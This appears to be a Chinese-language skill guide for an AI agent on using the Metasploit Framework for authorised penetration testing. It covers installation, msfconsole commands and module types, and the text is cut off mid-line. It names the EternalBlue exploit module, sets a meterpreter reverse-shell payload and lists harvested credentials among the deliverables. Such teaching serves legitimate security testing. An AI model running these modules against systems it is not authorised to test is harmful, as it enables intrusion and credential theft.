[ PROMPT_NODE_27622 ]
Metasploit 框架
[ SKILL_DOCUMENTATION ]
# Metasploit 框架
## 目的
利用 Metasploit 框架进行全面的渗透测试,从初始利用到后渗透活动。Metasploit 提供了一个统一的平台,用于漏洞利用、Payload 生成、辅助扫描,以及在授权的安全评估期间维持对受损系统的访问。
## 前置条件
### 所需工具
bash
# Metasploit 在 Kali Linux 上预装
# 对于其他系统:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
# 启动 PostgreSQL 以支持数据库
sudo systemctl start postgresql
sudo msfdb init
### 所需知识
- 网络和系统基础知识
- 理解漏洞和利用程序
- 基本编程概念
- 目标枚举技术
### 所需访问权限
- 测试的书面授权
- 对目标系统的网络访问
- 理解范围和交战规则
## 输出与交付物
1. **利用证据** - 成功入侵的截图和日志
2. **会话日志** - 命令历史记录和提取的数据
3. **漏洞映射** - 带有 CVE 引用的已利用漏洞
4. **后渗透工件** - 凭据、文件和系统信息
## 核心工作流
### 第一阶段:MSFConsole 基础
启动并导航 Metasploit 控制台:
bash
# 启动 msfconsole
msfconsole
# 静默模式 (跳过横幅)
msfconsole -q
# 基本导航命令
msf6 > help # 显示所有命令
msf6 > search [term] # 搜索模块
msf6 > use [module] # 选择模块
msf6 > info # 显示模块详情
msf6 > show options # 显示所需选项
msf6 > set [OPTION] [value] # 配置选项
msf6 > run / exploit # 执行模块
msf6 > back # 返回主控制台
msf6 > exit # 退出 msfconsole
### 第二阶段:模块类型
了解不同的模块类别:
bash
# 1. Exploit 模块 - 针对特定漏洞
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 2. Payload 模块 - 利用后执行的代码
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 3. Auxiliary 模块 - 扫描、模糊测试、枚举
msf6 > show auxiliary
msf6 > use auxiliary/sc